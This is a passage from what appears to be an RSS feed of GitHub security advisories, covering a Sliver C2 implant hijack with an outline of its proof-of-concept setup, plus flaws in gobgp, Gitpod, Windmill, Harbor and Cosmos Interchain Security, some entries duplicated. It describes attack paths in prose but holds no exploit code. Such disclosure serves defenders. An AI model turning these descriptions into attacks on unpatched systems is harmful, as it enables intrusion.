        &lt;p&gt;Please see &lt;a href=&quot;https://github.com/tangent65536/Slivjacker&quot;&gt;the PoC repo&lt;/a&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;poc&quot;&gt;PoC&lt;/h3&gt;
        &lt;p&gt;Please also see &lt;a href=&quot;https://github.com/tangent65536/Slivjacker&quot;&gt;the PoC repo&lt;/a&gt;.
        To setup a simple PoC environment, &lt;/p&gt;
        &lt;ol&gt;
        &lt;li&gt;Generate an implant with its C2 set to the PoC server&#39;s address and copy the embedded private implant key and public server key into the config json. &lt;/li&gt;
        &lt;li&gt;Run the implant on a separate VM and a &lt;code&gt;notepad.exe&lt;/code&gt; window should pop up on the implanted VM.&lt;/li&gt;
        &lt;/ol&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;A successful attack grants the attacker permission to execute arbitrary code on the implanted device. &lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/implant.go&quot;&gt;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/implant.go&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/crypto.go&quot;&gt;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/crypto.go&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://github.com/tangent65536/Slivjacker&quot;&gt;https://github.com/tangent65536/Slivjacker&lt;/a&gt; &lt;/p&gt;
        &lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/tangent65536&quot;&gt;Ting-Wei Hsieh&lt;/a&gt; from &lt;a href=&quot;https://www.chtsecurity.com/?lang=en&quot;&gt;CHT Security Co. Ltd.&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/security/advisories/GHSA-8jxm-xp43-qh3q&quot;&gt;https://github.com/BishopFox/sliver/security/advisories/GHSA-8jxm-xp43-qh3q&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/commit/2d1ea6192cac2ff9d6450b2d96043fdbf8561516&quot;&gt;https://github.com/BishopFox/sliver/commit/2d1ea6192cac2ff9d6450b2d96043fdbf8561516&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/crypto.go&quot;&gt;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/crypto.go&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/implant.go&quot;&gt;https://github.com/BishopFox/sliver/blob/master/implant/sliver/cryptography/implant.go&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/BishopFox/sliver/releases/tag/v1.5.40&quot;&gt;https://github.com/BishopFox/sliver/releases/tag/v1.5.40&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/tangent65536/Slivjacker&quot;&gt;https://github.com/tangent65536/Slivjacker&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-35170&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-35170&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-34758&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-34758&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.chtsecurity.com/news/04f41dcc-1851-463c-93bc-551323ad8091&quot;&gt;https://www.chtsecurity.com/news/04f41dcc-1851-463c-93bc-551323ad8091&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2023-1866&quot;&gt;https://pkg.go.dev/vuln/GO-2023-1866&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-8jxm-xp43-qh3q&quot;&gt;https://github.com/advisories/GHSA-8jxm-xp43-qh3q&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-8jxm-xp43-qh3q</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-8jxm-xp43-qh3q</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/osrg/gobgp/v3] Buffer Overflow vulnerability in osrg gobgp</title>
      <description>&lt;p&gt;Buffer Overflow vulnerability in osrg gobgp commit 419c50dfac578daa4d11256904d0dc182f1a9b22 allows a remote attacker to cause a denial of service via the handlingError function in pkg/server/fsm.go.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-46565&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-46565&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/osrg/gobgp/issues/2725&quot;&gt;https://github.com/osrg/gobgp/issues/2725&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/osrg/gobgp/commit/419c50dfac578daa4d11256904d0dc182f1a9b22&quot;&gt;https://github.com/osrg/gobgp/commit/419c50dfac578daa4d11256904d0dc182f1a9b22&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-6rqv-5cg7-m4x3&quot;&gt;https://github.com/advisories/GHSA-6rqv-5cg7-m4x3&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-6rqv-5cg7-m4x3</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-6rqv-5cg7-m4x3</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/gitpod-io/gitpod] github.com/gitpod-io/gitpod vulnerable to Cookie Tossing</title>
      <description>&lt;p&gt;Versions of the package github.com/gitpod-io/gitpod/components/server/go/pkg/lib before main-gha.27122; versions of the package github.com/gitpod-io/gitpod/components/ws-proxy/pkg/proxy before main-gha.27122; versions of the package github.com/gitpod-io/gitpod/install/installer/pkg/components/auth before main-gha.27122; versions of the package github.com/gitpod-io/gitpod/install/installer/pkg/components/public-api-server before main-gha.27122; versions of the package github.com/gitpod-io/gitpod/install/installer/pkg/components/server before main-gha.27122; versions of the package @gitpod/gitpod-protocol before 0.1.5-main-gha.27122 are vulnerable to Cookie Tossing due to a missing __Host- prefix on the &lt;em&gt;gitpod_io_jwt2&lt;/em&gt; session cookie. This allows an adversary who controls a subdomain to set the value of the cookie on the Gitpod control plane, which can be assigned to an attacker’s own JWT so that specific actions taken by the victim (such as connecting a new Github organization) are actioned by the attackers session.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-21583&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-21583&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gitpod-io/gitpod/pull/19973&quot;&gt;https://github.com/gitpod-io/gitpod/pull/19973&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/gitpod-io/gitpod/commit/da1053e1013f27a56e6d3533aa251dbd241d0155&quot;&gt;https://github.com/gitpod-io/gitpod/commit/da1053e1013f27a56e6d3533aa251dbd241d0155&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://app.safebase.io/portal/71ccd717-aa2d-4a1e-942e-c768d37e9e0c/preview?product=%5B%E2%80%A6%5D942e-c768d37e9e0c&amp;amp;tcuUid=1d505bda-9a38-4ca5-8724-052e6337f34d&quot;&gt;https://app.safebase.io/portal/71ccd717-aa2d-4a1e-942e-c768d37e9e0c/preview?product=%5B%E2%80%A6%5D942e-c768d37e9e0c&amp;amp;tcuUid=1d505bda-9a38-4ca5-8724-052e6337f34d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODCOMPONENTSSERVERGOPKGLIB-7452074&quot;&gt;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODCOMPONENTSSERVERGOPKGLIB-7452074&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODCOMPONENTSWSPROXYPKGPROXY-7452075&quot;&gt;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODCOMPONENTSWSPROXYPKGPROXY-7452075&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSAUTH-7452076&quot;&gt;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSAUTH-7452076&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSPUBLICAPISERVER-7452077&quot;&gt;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSPUBLICAPISERVER-7452077&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSSERVER-7452078&quot;&gt;https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMGITPODIOGITPODINSTALLINSTALLERPKGCOMPONENTSSERVER-7452078&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://security.snyk.io/vuln/SNYK-JS-GITPODGITPODPROTOCOL-7452079&quot;&gt;https://security.snyk.io/vuln/SNYK-JS-GITPODGITPODPROTOCOL-7452079&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2024-2997&quot;&gt;https://pkg.go.dev/vuln/GO-2024-2997&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-8pgc-65mj-53h5&quot;&gt;https://github.com/advisories/GHSA-8pgc-65mj-53h5&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-8pgc-65mj-53h5</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-8pgc-65mj-53h5</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/windmill-labs/windmill] Windmill HTTP Request users.rs excessive authentication in github.com/windmill-labs/windmill</title>
      <description>&lt;p&gt;A vulnerability was found in Windmill 1.380.0. It has been classified as problematic. Affected is an unknown function of the file backend/windmill-api/src/users.rs of the component HTTP Request Handler. The manipulation leads to improper restriction of excessive authentication attempts. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. Upgrading to version 1.390.1 is able to address this issue. The patch is identified as acfe7786152f036f2476f93ab5536571514fa9e3. It is recommended to upgrade the affected component.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8462&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8462&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/windmill-labs/windmill/commit/acfe7786152f036f2476f93ab5536571514fa9e3&quot;&gt;https://github.com/windmill-labs/windmill/commit/acfe7786152f036f2476f93ab5536571514fa9e3&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/windmill-labs/windmill/releases/tag/v1.390.1&quot;&gt;https://github.com/windmill-labs/windmill/releases/tag/v1.390.1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?ctiid.276630&quot;&gt;https://vuldb.com/?ctiid.276630&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?id.276630&quot;&gt;https://vuldb.com/?id.276630&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://vuldb.com/?submit.401826&quot;&gt;https://vuldb.com/?submit.401826&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2024-3118&quot;&gt;https://pkg.go.dev/vuln/GO-2024-3118&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-g6q4-w3j3-jfc4&quot;&gt;https://github.com/advisories/GHSA-g6q4-w3j3-jfc4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-g6q4-w3j3-jfc4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-g6q4-w3j3-jfc4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/goharbor/harbor] Cross-site Request Forgery (CSRF) in Cloud Native Computing Foundation Harbor</title>
      <description>&lt;p&gt;Cure53 has discovered that the Harbor web interface does not implement protection mechanisms against Cross-Site Request Forgery (CSRF). By luring an authenticated user onto a prepared third-party website, an attacker can execute any action on the platform in the context of the currently authenticated victim.&lt;/p&gt;
        &lt;p&gt;The vulnerability was immediately fixed by the Harbor team and all supported versions were patched.&lt;/p&gt;
        &lt;p&gt;Successful exploitation of this issue will lead to 3rd parties executing actions on the platform of behalf of authenticated users and administrators.&lt;/p&gt;
        &lt;p&gt;If your product uses the affected releases of Harbor, update to version 1.8.6 and 1.9.3 to patch this issue immediately.&lt;/p&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/releases/tag/v1.8.6&quot;&gt;https://github.com/goharbor/harbor/releases/tag/v1.8.6&lt;/a&gt;
        &lt;a href=&quot;https://github.com/goharbor/harbor/releases/tag/v1.9.3&quot;&gt;https://github.com/goharbor/harbor/releases/tag/v1.9.3&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories/GHSA-gcqm-v682-ccw6&quot;&gt;https://github.com/goharbor/harbor/security/advisories/GHSA-gcqm-v682-ccw6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-19025&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2019-19025&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories&quot;&gt;https://github.com/goharbor/harbor/security/advisories&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://tanzu.vmware.com/security/cve-2019-19025&quot;&gt;https://tanzu.vmware.com/security/cve-2019-19025&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-rffr-c932-cpxv&quot;&gt;https://github.com/advisories/GHSA-rffr-c932-cpxv&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-rffr-c932-cpxv</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-rffr-c932-cpxv</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/goharbor/harbor] Cross-site Request Forgery (CSRF) in Cloud Native Computing Foundation Harbor</title>
      <description>&lt;p&gt;Cure53 has discovered that the Harbor web interface does not implement protection mechanisms against Cross-Site Request Forgery (CSRF). By luring an authenticated user onto a prepared third-party website, an attacker can execute any action on the platform in the context of the currently authenticated victim.&lt;/p&gt;
        &lt;p&gt;The vulnerability was immediately fixed by the Harbor team and all supported versions were patched.&lt;/p&gt;
        &lt;p&gt;Successful exploitation of this issue will lead to 3rd parties executing actions on the platform of behalf of authenticated users and administrators.&lt;/p&gt;
        &lt;p&gt;If your product uses the affected releases of Harbor, update to version 1.8.6 and 1.9.3 to patch this issue immediately.&lt;/p&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/releases/tag/v1.8.6&quot;&gt;https://github.com/goharbor/harbor/releases/tag/v1.8.6&lt;/a&gt;
        &lt;a href=&quot;https://github.com/goharbor/harbor/releases/tag/v1.9.3&quot;&gt;https://github.com/goharbor/harbor/releases/tag/v1.9.3&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories/GHSA-gcqm-v682-ccw6&quot;&gt;https://github.com/goharbor/harbor/security/advisories/GHSA-gcqm-v682-ccw6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-19025&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2019-19025&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories&quot;&gt;https://github.com/goharbor/harbor/security/advisories&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://tanzu.vmware.com/security/cve-2019-19025&quot;&gt;https://tanzu.vmware.com/security/cve-2019-19025&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-rffr-c932-cpxv&quot;&gt;https://github.com/advisories/GHSA-rffr-c932-cpxv&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-rffr-c932-cpxv</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-rffr-c932-cpxv</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/goharbor/harbor] SQL Injection in Cloud Native Computing Foundation Harbor</title>
      <description>&lt;p&gt;Cloud Native Computing Foundation Harbor prior to 1.8.6 and 1.9.3 allows SQL Injection via user-groups in the VMware Harbor Container Registry for the Pivotal Platform.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories/GHSA-qcfv-8v29-469w&quot;&gt;https://github.com/goharbor/harbor/security/advisories/GHSA-qcfv-8v29-469w&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-19029&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2019-19029&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories&quot;&gt;https://github.com/goharbor/harbor/security/advisories&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://tanzu.vmware.com/security/cve-2019-19029&quot;&gt;https://tanzu.vmware.com/security/cve-2019-19029&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2022-0853&quot;&gt;https://pkg.go.dev/vuln/GO-2022-0853&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-jr34-mff8-pc6f&quot;&gt;https://github.com/advisories/GHSA-jr34-mff8-pc6f&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-jr34-mff8-pc6f</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-jr34-mff8-pc6f</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/goharbor/harbor] SQL Injection in Cloud Native Computing Foundation Harbor</title>
      <description>&lt;p&gt;Cloud Native Computing Foundation Harbor prior to 1.8.6 and 1.9.3 allows SQL Injection via user-groups in the VMware Harbor Container Registry for the Pivotal Platform.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories/GHSA-qcfv-8v29-469w&quot;&gt;https://github.com/goharbor/harbor/security/advisories/GHSA-qcfv-8v29-469w&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-19029&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2019-19029&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/goharbor/harbor/security/advisories&quot;&gt;https://github.com/goharbor/harbor/security/advisories&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://tanzu.vmware.com/security/cve-2019-19029&quot;&gt;https://tanzu.vmware.com/security/cve-2019-19029&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/vuln/GO-2022-0853&quot;&gt;https://pkg.go.dev/vuln/GO-2022-0853&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-jr34-mff8-pc6f&quot;&gt;https://github.com/advisories/GHSA-jr34-mff8-pc6f&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-jr34-mff8-pc6f</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-jr34-mff8-pc6f</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/cosmos/interchain-security/v4] Interchain Security: The signers of ICS messages do not need to match the provider address</title>
      <description>&lt;h3 id=&quot;context&quot;&gt;Context&lt;/h3&gt;
        &lt;p&gt;ICS has the following four messages that enable validators on the provider chain to perform different actions:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;code&gt;MsgOptIn&lt;/code&gt; -- adds a validator to the consumer chain’s active set&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgOptOut&lt;/code&gt; -- removes a validator from the consumer chain’s active set &lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgAssignConsumerKey&lt;/code&gt; -- changes the consensus key used for a validator’s operations on a consumer chain&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgSetConsumerCommissionRate&lt;/code&gt; -- sets a validator’s consumer-specific commission rate&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;Normally, only the respective validators are allowed to perform these actions. &lt;/p&gt;
        &lt;h3 id=&quot;issue&quot;&gt;Issue&lt;/h3&gt;
        &lt;p&gt;The upgrade to SDK 0.50, introduced a &lt;a href=&quot;https://docs.cosmos.network/v0.50/build/building-modules/protobuf-annotations#signer&quot;&gt;signer&lt;/a&gt; field to these messages. This field is used to authenticate the user sending the message to the system. However, there was no validation on the ICS side to check if the signer matches the provider address. &lt;/p&gt;
        &lt;p&gt;As a result, any user could opt-in, opt-out, change the commission rate, or change what public key a validator uses on a consumer chain. &lt;/p&gt;
        &lt;p&gt;For more context, check out the code:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;proto files &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message validation &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message handling &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/keeper/msg_server.go#L52&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;severity-assessment&quot;&gt;Severity assessment&lt;/h3&gt;
        &lt;p&gt;The severity assessment is based on &lt;a href=&quot;https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md&quot;&gt;this framework&lt;/a&gt;. &lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;Potential impact:&lt;/strong&gt; Catastrophic &lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;By changing consumer keys for 1/3+ of a consumer chain&#39;s validator set, any user could cause a consumer chain to halt. Given that the consumer is down, the provider will jail provider validators for consumer downtime, so this exploit would not have impacted the provider directly. Consumer chain halts would need to be addressed by a provider-side patch.&lt;/li&gt;
        &lt;li&gt;By changing consumer keys on a consumer node, double signing, and submitting evidence back to the provider, any user could tombstone any provider validator. This would cause the provider&#39;s active set to change. At scale, this exploit could be applied to all active provider validators and a well-funded attacker could then run their own nodes and take over consensus on the provider and on consumer chains.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;&lt;strong&gt;Likelihood:&lt;/strong&gt; Rare&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;The bug was discovered internally. There is no evidence that any external party has identified this vulnerability. &lt;/li&gt;
        &lt;li&gt;The bug has been live for two weeks with no issues. &lt;/li&gt;
        &lt;li&gt;All four message types are ones that only validators use, and rarely use in daily operations.&lt;/li&gt;
        &lt;li&gt;In the Cosmos Hub’s recent history (May - Aug), there has been only one instance of any of these message types, which was performed in accordance with chain rules.&lt;/li&gt;
        &lt;li&gt;The catastrophic exploits (such as tombstoning the entire validator set of the provider) are also extremely complex. They involve several operations that are not well-understood by many people, and the entire exploit must occur quickly and at-scale to avoid other node operators responding defensively.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/cosmos/interchain-security/security/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7q74-g774-7x3g&quot;&gt;https://github.com/advisories/GHSA-7q74-g774-7x3g&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7q74-g774-7x3g</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7q74-g774-7x3g</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[github.com/cosmos/interchain-security/v3] Interchain Security: The signers of ICS messages do not need to match the provider address</title>
      <description>&lt;h3 id=&quot;context&quot;&gt;Context&lt;/h3&gt;
        &lt;p&gt;ICS has the following four messages that enable validators on the provider chain to perform different actions:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;code&gt;MsgOptIn&lt;/code&gt; -- adds a validator to the consumer chain’s active set&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgOptOut&lt;/code&gt; -- removes a validator from the consumer chain’s active set &lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgAssignConsumerKey&lt;/code&gt; -- changes the consensus key used for a validator’s operations on a consumer chain&lt;/li&gt;
        &lt;li&gt;&lt;code&gt;MsgSetConsumerCommissionRate&lt;/code&gt; -- sets a validator’s consumer-specific commission rate&lt;/li&gt;
        &lt;/ul&gt;
        &lt;p&gt;Normally, only the respective validators are allowed to perform these actions. &lt;/p&gt;
        &lt;h3 id=&quot;issue&quot;&gt;Issue&lt;/h3&gt;
        &lt;p&gt;The upgrade to SDK 0.50, introduced a &lt;a href=&quot;https://docs.cosmos.network/v0.50/build/building-modules/protobuf-annotations#signer&quot;&gt;signer&lt;/a&gt; field to these messages. This field is used to authenticate the user sending the message to the system. However, there was no validation on the ICS side to check if the signer matches the provider address. &lt;/p&gt;
        &lt;p&gt;As a result, any user could opt-in, opt-out, change the commission rate, or change what public key a validator uses on a consumer chain. &lt;/p&gt;
        &lt;p&gt;For more context, check out the code:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;proto files &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/proto/interchain_security/ccv/provider/v1/tx.proto#L52&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;message validation &lt;a href=&quot;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&quot;&gt;https://github.com/cosmos/interchain-security/blob/v5.1.1/x/ccv/provider/types/msg.go#L106&lt;/a&gt;&lt;/li&gt;
